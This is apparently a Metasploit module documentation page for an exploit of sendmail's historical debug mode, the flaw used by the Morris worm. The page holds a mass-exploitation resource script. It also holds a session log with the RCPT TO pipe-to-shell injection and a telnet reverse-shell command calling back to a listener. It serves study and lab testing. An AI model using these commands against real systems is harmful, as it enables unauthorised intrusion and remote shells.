Morris Worm sendmail Debug Mode Shell Escape - Metasploit
This page contains detailed information about how to use the exploit/unix/smtp/morris_sendmail_debug metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: Morris Worm sendmail Debug Mode Shell Escape
Module: exploit/unix/smtp/morris_sendmail_debug
Source code: modules/exploits/unix/smtp/morris_sendmail_debug.rb
Disclosure date: 1988-11-02
Last modification time: 2020-09-18 11:38:43 +0000
Supported architecture(s): cmd
Supported platform(s): Unix
Target service / protocol: -
Target network port(s): 25
List of CVEs: -
This module exploits sendmail's well-known historical debug mode to escape to a shell and execute commands in the SMTP RCPT TO command. This vulnerability was exploited by the Morris worm in 1988-11-02. Cliff Stoll reports on the worm in the epilogue of The Cuckoo's Egg. Currently, only cmd/unix/reverse and cmd/unix/generic are supported.
Module Ranking and Traits
Module Ranking:
- average: The exploit is generally unreliable or difficult to exploit. More information about ranking can be found here.
Basic Usage
Using morris_sendmail_debug against a single host
Normally, you can use exploit/unix/smtp/morris_sendmail_debug this way:
msf > use exploit/unix/smtp/morris_sendmail_debug
msf exploit(morris_sendmail_debug) > show targets
... a list of targets ...
msf exploit(morris_sendmail_debug) > set TARGET target-id
msf exploit(morris_sendmail_debug) > show options
... show and set options ...
msf exploit(morris_sendmail_debug) > exploit
Using morris_sendmail_debug against multiple hosts
But it looks like this is a remote exploit module, which means you can also engage multiple hosts.
First, create a list of IPs you wish to exploit with this module. One IP per line.
Second, set up a background payload listener. This payload should be the same as the one your morris_sendmail_debug will be using:
- Do:
use exploit/multi/handler - Do:
set PAYLOAD [payload] - Set other options required by the payload
- Do:
set EXITONSESSION false - Do:
run -j
At this point, you should have a payload listening.
Next, create the following script. Notice you will probably need to modify the ip_list path, and payload options accordingly:
<ruby>
#
# Modify the path if necessary
#
ip_list = '/tmp/ip_list.txt'
File.open(ip_list, 'rb').each_line do |ip|
print_status("Trying against #{ip}")
run_single("use exploit/unix/smtp/morris_sendmail_debug")
run_single("set RHOST #{ip}")
run_single("set DisablePayloadHandler true")
#
# Set a payload that's the same as the handler.
# You might also need to add more run_single commands to configure other
# payload options.
#
run_single("set PAYLOAD [payload name]")
run_single("run")
end
</ruby>
Next, run the resource script in the console:
msf > resource [path-to-resource-script]
And finally, you should see that the exploit is trying against those hosts similar to the following MS08-067 example:
msf > resource /tmp/exploit_hosts.rc
[*] Processing /tmp/exploit_hosts.rc for ERB directives.
[*] resource (/tmp/exploit_hosts.rc)> Ruby Code (402 bytes)
[*] Trying against 192.168.1.80
RHOST => 192.168.1.80
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.80:445 - Automatically detecting the target...
[*] 192.168.1.80:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] 192.168.1.80:445 - Selected Target: Windows XP SP3 English (AlwaysOn NX)
[*] 192.168.1.80:445 - Attempting to trigger the vulnerability...
[*] Sending stage (957999 bytes) to 192.168.1.80
[*] Trying against 192.168.1.109
RHOST => 192.168.1.109
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.109:445 - Automatically detecting the target...
[*] 192.168.1.109:445 - Fingerprint: Windows 2003 - Service Pack 2 - lang:Unknown
[*] 192.168.1.109:445 - We could not detect the language pack, defaulting to English
[*] 192.168.1.109:445 - Selected Target: Windows 2003 SP2 English (NX)
[*] 192.168.1.109:445 - Attempting to trigger the vulnerability...
[*] Meterpreter session 1 opened (192.168.1.199:4444 -> 192.168.1.80:1071) at 2016-03-02 19:32:49 -0600
[*] Sending stage (957999 bytes) to 192.168.1.109
[*] Meterpreter session 2 opened (192.168.1.199:4444 -> 192.168.1.109:4626) at 2016-03-02 19:32:52 -0600
Required Options
- RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
Knowledge Base
Vulnerable Application
Description
This module exploits sendmail's well-known historical debug mode to
escape to a shell and execute commands in the SMTP RCPT TO command.
This vulnerability was exploited by the Morris worm in 1988-11-02. Cliff Stoll reports on the worm in the epilogue of The Cuckoo's Egg.
Setup
A Docker environment for 4.3BSD on VAX is available at https://github.com/wvu/ye-olde-bsd.
For manual setup, please follow the Computer History Wiki's guide or Allen Garvin's guide if you're using Quasijarus.
Verification Steps
Targets
0
This targets sendmail version 5.51 from 1986-05-02.
Options
RPORT
Set this to the target port. The default is 25 for sendmail, but the
port may be forwarded when NAT (SLiRP) is used in SIMH.
PAYLOAD
Set this to a Unix command payload. Currently, only cmd/unix/reverse
and cmd/unix/generic are supported.
Scenarios
sendmail 5.51 on 4.3BSD
msf5 > use exploit/unix/smtp/morris_sendmail_debug
msf5 exploit(unix/smtp/morris_sendmail_debug) > options
Module options (exploit/unix/smtp/morris_sendmail_debug):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:'
RPORT 25 yes The target port (TCP)
Payload options (cmd/unix/reverse):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 @(#)version.c 5.51 (Berkeley) 5/2/86
msf5 exploit(unix/smtp/morris_sendmail_debug) > set rhosts 127.0.0.1
rhosts => 127.0.0.1
msf5 exploit(unix/smtp/morris_sendmail_debug) > set lhost 192.168.56.1
lhost => 192.168.56.1
msf5 exploit(unix/smtp/morris_sendmail_debug) > run
[*] Started reverse TCP double handler on 192.168.56.1:4444
[*] 127.0.0.1:25 - Connecting to sendmail
[*] 127.0.0.1:25 - Enabling debug mode and sending exploit
[*] 127.0.0.1:25 - Expecting: /220.*Sendmail/
[*] 127.0.0.1:25 - Sending: DEBUG
[*] 127.0.0.1:25 - Expecting: /200 Debug set/
[*] 127.0.0.1:25 - Sending: MAIL FROM:<3V900gQTSR70m6QPRYJnf3eoUIe6>
[*] 127.0.0.1:25 - Expecting: /250.*Sender ok/
[*] 127.0.0.1:25 - Sending: RCPT TO:<"| sed '1,/^$/d' | sh; exit 0">
[*] 127.0.0.1:25 - Expecting: /250.*Recipient ok/
[*] 127.0.0.1:25 - Sending: DATA
[*] 127.0.0.1:25 - Expecting: /354 Enter mail.*itself/
[*] 127.0.0.1:25 - Sending: PATH=/bin:/usr/bin:/usr/ucb:/etc
[*] 127.0.0.1:25 - Sending: export PATH
[*] 127.0.0.1:25 - Sending: sh -c '(sleep 3935|telnet 192.168.56.1 4444|while : ; do sh && break; done 2>&1|telnet 192.168.56.1 4444 >/dev/null 2>&1 &)'
[*] 127.0.0.1:25 - Sending: .
[*] 127.0.0.1:25 - Expecting: /250 Ok/
[*] 127.0.0.1:25 - Sending: QUIT
[*] 127.0.0.1:25 - Expecting: /221.*closing connection/
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo ISj759F8jEik4HAW;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket A
[*] A: "sh: Connected: not found\r\nsh: Escape: not found\r\n"
[*] Matching...
[*] B is input...
[*] Command shell session 1 opened (192.168.56.1:4444 -> 192.168.56.1:58037) at 2020-02-06 15:51:28 -0600
[!] 127.0.0.1:25 - Do NOT type `exit', or else you may lose further shells!
[!] 127.0.0.1:25 - Hit ^C to abort the session instead, please and thank you
whoami
daemon
cat /etc/motd
4.3 BSD UNIX #1: Fri Jun 6 19:55:29 PDT 1986
Would you like to play a game?
Go back to menu.
Msfconsole Usage
Here is how the unix/smtp/morris_sendmail_debug exploit module looks in the msfconsole:
msf6 > use exploit/unix/smtp/morris_sendmail_debug
[*] Using configured payload cmd/unix/reverse
msf6 exploit(unix/smtp/morris_sendmail_debug) > show info
Name: Morris Worm sendmail Debug Mode Shell Escape
Module: exploit/unix/smtp/morris_sendmail_debug
Platform: Unix
Arch: cmd
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Average
Disclosed: 1988-11-02
Provided by:
Robert Tappan Morris
Cliff Stoll
wvu <[email protected]>
Available targets:
Id Name
-- ----
0 @(#)version.c 5.51 (Berkeley) 5/2/86
Check supported:
Yes
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 25 yes The target port (TCP)
Payload information:
Description:
This module exploits sendmail's well-known historical debug mode to
escape to a shell and execute commands in the SMTP RCPT TO command.
This vulnerability was exploited by the Morris worm in 1988-11-02.
Cliff Stoll reports on the worm in the epilogue of The Cuckoo's Egg.
Currently, only cmd/unix/reverse and cmd/unix/generic are supported.
References:
https://en.wikipedia.org/wiki/Morris_worm
https://spaf.cerias.purdue.edu/tech-reps/823.pdf
https://github.com/arialdomartini/morris-worm
http://gunkies.org/wiki/Installing_4.3_BSD_on_SIMH
Module Options
This is a complete list of options available in the unix/smtp/morris_sendmail_debug exploit:
msf6 exploit(unix/smtp/morris_sendmail_debug) > show options
Module options (exploit/unix/smtp/morris_sendmail_debug):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 25 yes The target port (TCP)
Payload options (cmd/unix/reverse):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 @(#)version.c 5.51 (Berkeley) 5/2/86
Advanced Options
Here is a complete list of advanced options supported by the unix/smtp/morris_sendmail_debug exploit:
msf6 exploit(unix/smtp/morris_sendmail_debug) > show advanced
Module advanced options (exploit/unix/smtp/morris_sendmail_debug):
Name Current Setting Required Description
---- --------------- -------- -----------
AutoCheck true no Run check before exploit
CHOST no The local client address
CPORT no The local client port
ConnectTimeout 10 yes Maximum number of seconds to establish a TCP connection
ContextInformationFile no The information file that contains context information
DisablePayloadHandler false no Disable the handler code for the selected payload
EnableContextEncoding false no Use transient context when encoding payloads
ExpectTimeout 3.5 yes Timeout for Expect
ForceExploit false no Override check result
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
SSL false no Negotiate SSL/TLS for outgoing connections
SSLCipher no String for SSL cipher - "DHE-RSA-AES256-SHA" or "ADH"
SSLVerifyMode PEER no SSL verification method (Accepted: CLIENT_ONCE, FAIL_IF_NO_PEER_CERT, NONE, PEER)
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
WfsDelay 2 no Additional delay in seconds to wait for a session
Payload advanced options (cmd/unix/reverse):
Name Current Setting Required Description
---- --------------- -------- -----------
AutoRunScript no A script to run automatically on session creation.
AutoVerifySession true yes Automatically verify and drop invalid sessions
CommandShellCleanupCommand no A command to run before the session is closed
CreateSession true no Create a new session for every successful login
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
ReverseListenerComm no The specific communication channel to use for this listener
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the unix/smtp/morris_sendmail_debug module can exploit:
msf6 exploit(unix/smtp/morris_sendmail_debug) > show targets
Exploit targets:
Id Name
-- ----
0 @(#)version.c 5.51 (Berkeley) 5/2/86
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the unix/smtp/morris_sendmail_debug exploit:
msf6 exploit(unix/smtp/morris_sendmail_debug) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/cmd/unix/generic normal No Unix Command, Generic Command Execution
1 payload/cmd/unix/reverse normal No Unix Command Shell, Double Reverse TCP (telnet)
2 payload/cmd/unix/reverse_bash_telnet_ssl normal No Unix Command Shell, Reverse TCP SSL (telnet)
3 payload/cmd/unix/reverse_ssl_double_telnet normal No Unix Command Shell, Double Reverse TCP SSL (telnet)
Evasion Options
Here is the full list of possible evasion options supported by the unix/smtp/morris_sendmail_debug exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(unix/smtp/morris_sendmail_debug) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
TCP::max_send_size 0 no Maxiumum tcp segment size. (0 = disable)
TCP::send_delay 0 no Delays inserted before every send. (0 = disable)
Go back to menu.
Error Messages
This module may fail with the following error messages:
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
Do NOT type `exit', or else you may lose further shells!
Here is a relevant code snippet related to the "Do NOT type `exit', or else you may lose further shells!" error message:
128: fail_with(Failure::TimeoutExpired, e.message)
129: ensure
130: disconnect
131: end
132:
133: def on_new_session(session)
134: print_warning("Do NOT type `exit', or else you may lose further shells!")
135: print_warning('Hit ^C to abort the session instead, please and thank you')
136: end
137:
138: end
Hit ^C to abort the session instead, please and thank you
Here is a relevant code snippet related to the "Hit ^C to abort the session instead, please and thank you" error message:
128: fail_with(Failure::TimeoutExpired, e.message)
129: ensure
130: disconnect
131: end
132:
133: def on_new_session(session)
134: print_warning("Do NOT type `exit', or else you may lose further shells!")
135: print_warning('Hit ^C to abort the session instead, please and thank you')
136: end
137:
138: end
Go back to menu.
Related Pull Requests
- #15556 Merged Pull Request: Add shell support to enum_unattended module
- #15564 Merged Pull Request: Update post_common mixin methods to support powershell session type
- #15570 Merged Pull Request: Fix smb enum gpp module
- #15546 Merged Pull Request: Fix #15480, fix IgnoreUnknownPayloads for stageless reverse_http payloads
- #15561 Merged Pull Request: Add an exploit for ProxyShell
- #15525 Merged Pull Request: Add Lucee Administrator CVE-2021-21307 exploit
- #15332 Merged Pull Request: fix a localization issue and some other minor issues in
rename_filemethod - #15540 Merged Pull Request: Add option for running
cmd_executein a subshell - #15303 Merged Pull Request: Fix
dirmethod for windows shell sessions - #15547 Merged Pull Request: Bump rex-text to 0.2.36
References
- CVE: Not available
- https://en.wikipedia.org/wiki/Morris_worm
- https://spaf.cerias.purdue.edu/tech-reps/823.pdf
- https://github.com/arialdomartini/morris-worm
- http://gunkies.org/wiki/Installing_4.3_BSD_on_SIMH
See Also
Check also the following modules related to this module:
- exploit/unix/smtp/clamav_milter_blackhole
- exploit/unix/smtp/exim4_string_format
- exploit/unix/smtp/opensmtpd_mail_from_rce
- exploit/unix/smtp/qmail_bash_env_exec
- exploit/bsd/finger/morris_fingerd_bof
- exploit/linux/http/nagios_xi_magpie_debug
- exploit/windows/browser/apple_quicktime_smil_debug
- exploit/windows/http/ca_igateway_debug
- exploit/windows/ssh/putty_msg_debug
- auxiliary/gather/chrome_debugger
- exploit/multi/http/werkzeug_debug_rce
- exploit/multi/misc/java_jdwp_debugger
- exploit/multi/misc/nodejs_v8_debugger
- exploit/multi/php/ignition_laravel_debug_rce
- exploit/unix/http/twiki_debug_plugins
- payload/cmd/windows/powershell/generic/debug_trap
- payload/generic/debug_trap
- exploit/unix/http/xdebug_unauth_exec
- exploit/linux/smtp/apache_james_exec
- exploit/linux/smtp/exim4_dovecot_exec
- exploit/linux/smtp/exim_gethostbyname_bof
- exploit/linux/smtp/haraka
- exploit/windows/smtp/mailcarrier_smtp_ehlo
- exploit/windows/smtp/mercury_cram_md5
- exploit/windows/smtp/ms03_046_exchange2000_xexch50
- exploit/windows/smtp/njstar_smtp_bof
- exploit/windows/smtp/sysgauge_client_bof
- exploit/windows/smtp/wmailserver
- exploit/windows/smtp/ypops_overflow1
- exploit/solaris/lpd/sendmail_exec
- auxiliary/dos/smtp/sendmail_prescan
Authors
- Robert Tappan Morris
- Cliff Stoll
- wvu
Version
This page has been produced using Metasploit Framework version 6.2.1-dev. For more modules, visit the Metasploit Module Library.
Go back to menu.
